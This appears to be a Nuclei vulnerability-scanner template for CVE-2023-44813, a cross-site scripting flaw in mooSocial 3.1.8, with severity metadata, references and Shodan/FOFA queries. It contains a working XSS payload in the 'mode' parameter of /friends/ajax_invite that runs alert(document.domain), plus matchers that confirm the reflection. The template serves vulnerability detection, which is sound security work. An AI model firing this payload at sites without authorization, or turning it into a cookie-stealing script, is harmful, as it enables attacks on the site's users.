id: CVE-2023-44813

info:
  name: mooSocial v.3.1.8 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Cross-Site Scripting (XSS) vulnerability in mooSocial v.3.1.8 allows a remote attacker to execute arbitrary code via a crafted payload to the mode parameter of the invite friend login function.
  impact: |
    Successful exploitation could lead to unauthorized access or data theft
  remediation: |
    Upgrade to a patched version of mooSocial
  reference:
    - https://github.com/ahrixia/CVE-2023-44813
    - https://nvd.nist.gov/vuln/detail/CVE-2023-44813
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-44813
    cwe-id: CWE-79
    epss-score: 0.11219
    epss-percentile: 0.93219
    cpe: cpe:2.3:a:moosocial:moosocial:3.1.8:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: moosocial
    product: moosocial
    shodan-query:
      - http.favicon.hash:702863115
      - http.favicon.hash:"702863115"
    fofa-query: icon_hash="702863115"
  tags: cve,cve2023,moosocial,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/friends/ajax_invite?mode=model%27)%3balert(document.domain)%2f%2f;'"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "initInviteFriendBtn('model');alert(document.domain)//;"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009d70c02fcd77e77cc2f66e616180504d149f2bcdddfb6fd07068ac66b5263d04022064495ed22dc1eb949d32861dc587a716d0c5f99d60db19ca1e80af258d48e1ee:922c64590222798bb761d5b6d8e72950